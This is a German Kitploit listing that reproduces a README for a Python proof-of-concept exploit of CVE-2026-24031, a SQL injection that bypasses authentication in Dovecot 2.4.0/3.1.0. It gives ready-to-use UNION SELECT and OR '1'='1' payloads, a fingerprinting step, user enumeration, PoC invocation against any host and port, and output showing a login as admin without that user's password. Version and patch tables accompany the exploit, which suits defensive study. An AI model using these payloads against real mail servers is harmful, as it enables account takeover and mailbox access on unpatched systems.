Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24031 — Eigenständiger Python-PoC für den Bypass der Dovecot-SQL-Authentifizierung: meldet sich als beliebiger Benutzer ohne das echte Passwort an und listet Benutzernamen auf verwundbaren 2.4.0/3.1.0-IMAP/POP3-Servern auf. | Kitploit
Tools/GitHubGitHub/aramosf/cve-2026-24031
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationInformationsbeschaffungPenetrationstestsE-Mail-SicherheitDatenbanksicherheit
GitHubaramosf/cve-2026-24031

CVE-2026-24031

Eigenständiger Python-PoC für den Bypass der Dovecot-SQL-Authentifizierung: meldet sich als beliebiger Benutzer ohne das echte Passwort an und listet Benutzernamen auf verwundbaren 2.4.0/3.1.0-IMAP/POP3-Servern auf.

Repository anzeigen
21vor 7 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24031: Umgehung der SQL-Authentifizierung bei Dovecot (Authentifizierung + Benutzeraufzählung)

CVE-2026-24031 live exploit

Dieses Repository enthält einen Proof-of-Concept-Exploit zur Umgehung der Authentifizierung für CVE-2026-24031, eine SQL-Injection in der SQL-basierten Authentifizierung von Dovecot, die als Regression in Dovecot 2.4.0 / 3.1.0 eingeführt wurde. Im getesteten Docker-Labor (Dovecot 2.4.0 + PostgreSQL) meldet sich der PoC als beliebiger Benutzer an, ohne das echte Passwort zu kennen, und kann zusätzlich Benutzer aufzählen.

Warnung

Dieser PoC führt eine nicht authentifizierte Umgehung der Authentifizierung gegen einen Mail-Server durch. Verwenden Sie ihn nur gegen ein Labor, das Ihnen gehört, oder gegen Ziele, für die Sie ausdrücklich zur Durchführung von Tests autorisiert sind. Er verändert den Zustand des Servers nicht, aber er beansprucht die Authentifizierung und kann fehlgeschlagene Anmelde-Einträge in den Protokollen hinterlassen.

Zusammenfassung der Schwachstelle

Die SQL-basierte Authentifizierung von Dovecot ist verwundbar, wenn der Administrator die Konfigurationsdirektive auth_username_chars leert (auf einen leeren Wert setzt). auth_username_chars fungiert normalerweise als Eingabefilter, der einschränkt, welche Zeichen in einem Benutzernamen erlaubt sind, bevor der Benutzername in die SQL-passdb-Abfrage eingefügt wird.

Wenn auth_username_chars = leer ist, wird der Wert ohne sql_escape_string() an die Abfrage übergeben. Ein präparierter Benutzername, der SQL-Metazeichen enthält, wird daher Teil der Abfrage:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE

Das folgende Payload bewirkt, dass die Abfrage eine Zeile für VICTIM mit einem vom Angreifer gewählten Passwort zurückgibt:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

{PLAIN} wird von Dovecot geparst (nicht von der Datenbank), sodass das Passwort-Schema nativ behandelt wird und der Trick auf pgsql, mysql, mariadb und sqlite funktioniert. Wird 12345 als Passwort gesendet, stimmt der Abgleich überein und ergibt LOGIN OK als VICTIM, ohne das echte Passwort zu kennen.

Die resultierende Abfrage lautet:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE

Betroffene und behobene Versionen

Dabei handelt es sich um eine in Dovecot 2.4.0 eingeführte Regression, die auch in 3.1.0 vorhanden ist. Frühere 2.2.x-/2.3.x-Versionen maskieren den Benutzernamen und sind nicht verwundbar. Der Fehler ist in 2.4.3 und 3.1.4 behoben (OXDC-ADV-2026-0001, DOV-8781).

Die Schwachstelle ist nur dann anwendbar, wenn alle folgenden Bedingungen zutreffen:

  • Dovecot 2.4.0 oder 3.1.0;
  • eine SQL-passdb (driver = sql) mit pgsql, mysql, mariadb oder sqlite;
  • auth_username_chars = (leer) — die vom Administrator gesetzte Auslösebedingung;
  • Netzwerkerreichbarkeit des IMAP-/POP3-/ManageSieve-Dienstes (mit oder ohne TLS).

Der PoC wurde gegen Dovecot 2.4.0 (offizielles Release-Tag, daeb6bc5) + PostgreSQL validiert.

Ablauf des Exploits

1. Erkennen der Nicht-Maskierungs-Bedingung

Authentifizieren Sie sich mit dem Benutzernamen ' OR '1'='1' -- und einem beliebigen Passwort. Auf einem verwundbaren Server wird die Abfrage verändert, sodass Dovecot a1 NO [UNAVAILABLE] Temporary authentication failure. anstelle der klassischen Meldung AUTHENTICATIONFAILED zurückgibt. Dies ist der Fingerabdruck dafür, dass der Benutzername unmaskiert in die SQL-Abfrage gelangt ist.

2. Authentifizierung mit UNION SELECT umgehen

Authentifizieren Sie sich mit dem Benutzernamen:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

und dem Passwort 12345. Die UNION-Zeile überschreibt die Spalte password für VICTIM, und {PLAIN} wird von Dovecot geparst, sodass die Passwortprüfung erfolgreich ist.

3. Benutzeraufzählung

Da die Gestalt des Abfrageergebnisses zwischen „Benutzer existiert“ und „Benutzer existiert nicht“ variiert (Zeilenanzahl und Antwortstatus), gibt der Server preis, ob ein Benutzername existiert. Dies funktioniert gegen jedes betroffene Backend.

Erstellen und Ausführen des PoC

Der PoC ist ein in sich geschlossenes Python-3-Skript (nur Standardbibliothek). Starten Sie das verwundbare Labor und führen Sie den Exploit aus:

root@kitploit:~
./run.sh

run.sh erstellt und startet das Docker-Labor (lab/docker-compose.yml), wartet auf IMAPS auf 127.0.0.1:14193 und führt dann den PoC aus. Das Labor erstellt Dovecot 2.4.0 aus dem offiziellen Release-Tarball mit einer absichtlich verwundbaren Konfiguration und einer PostgreSQL-Datenbank.

Entsprechende manuelle Schritte:

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap

PoC-Optionen:

root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]

  HOST       IP oder Hostname (erforderlich)
  PORT       993 = IMAPS/TLS (Standard), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      Sekunden zwischen den Versuchen (Standard 0.5)
  PROTO      imap (Standard) | pop3

Optionale Umgebungsvariablen:
  CVE24031_USER   zu impersonierender Benutzername (Standard: admin)
  CVE24031_PASS   für die UNION-Zeile gewähltes Passwort (Standard: 12345)

Die Lab-Datenbank wird mit folgenden Benutzern initialisiert: admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass und victim/supersecret. Der PoC gibt sich als admin aus, ohne dessen Passwort zu kennen.

Reproduzierte Ergebnisse

Der PoC wurde im Docker-Labor durchgängig validiert. Das echte Passwort des Benutzers admin lautet admin123; der PoC meldet sich unter Verwendung von 12345 als admin an.

root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!]     Logged in as 'admin' without knowing the real password.
[!]     CVE-2026-24031 exploited.

Das vollständige bereinigte Transkript einschließlich der Schritte zur Kontrolle der legitimen Anmeldung und zur Erkennung der fehlenden Maskierung befindet sich in docs/example-output.txt.

Demo

Die animierte Demo am Anfang dieser README (assets/CVE-2026-24031.gif) wurde aus einer echten Sitzung gegen das laufende Labor aufgezeichnet. Sie kann wie folgt neu erzeugt werden:

root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
  --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif

demo.sh steuert die Live-Demonstration; demo.cast ist die rohe asciinema-Aufzeichnung, die zum Rendern des GIF verwendet wird.

Behebung

Das Advisory (OXDC-ADV-2026-0001, DOV-8781) wurde upstream bereits veröffentlicht; Dovecot 2.4.3 / 3.1.4 maskieren den Benutzernamen, bevor er in die SQL-Abfrage eingefügt wird. Die Behebung wird daher in diesem Repository nicht dupliziert. Die empfohlene Härtung besteht darin, auth_username_chars niemals zu leeren oder auf ein behobenes Release zu aktualisieren.

Referenzen

  • Offizieller CVE-Eintrag (CVEProject cvelistV5)
  • cve.org-Eintrag
  • Dovecot-Sicherheitshinweis OXDC-2026-0001 (dovecot.org)
  • Dovecot-2.4.0-Release-Tarball

Entdeckung der Schwachstelle: whisperer@yeswehack. Forschung und Exploit-Implementierung: A. Ramos <[email protected]> (Twitter: @aramosf).

Über

CVE-2026-24031 PoC zur Umgehung der SQL-Authentifizierung bei Dovecot (Authentifizierungsumgehung + Benutzeraufzählung)

Tool herunterladen
VersionStatus
Dovecot 2.2.xNicht betroffen (Benutzername wird maskiert)
Dovecot 2.3.xNicht betroffen (Benutzername wird maskiert)
Dovecot 2.4.0Verwundbar (Regression: Benutzername wird nicht maskiert)
Dovecot 2.4.3+Behoben (Benutzername wird maskiert)
Dovecot 3.1.0Verwundbar (gleiche Regression)
Dovecot 3.1.4+Behoben (Benutzername wird maskiert)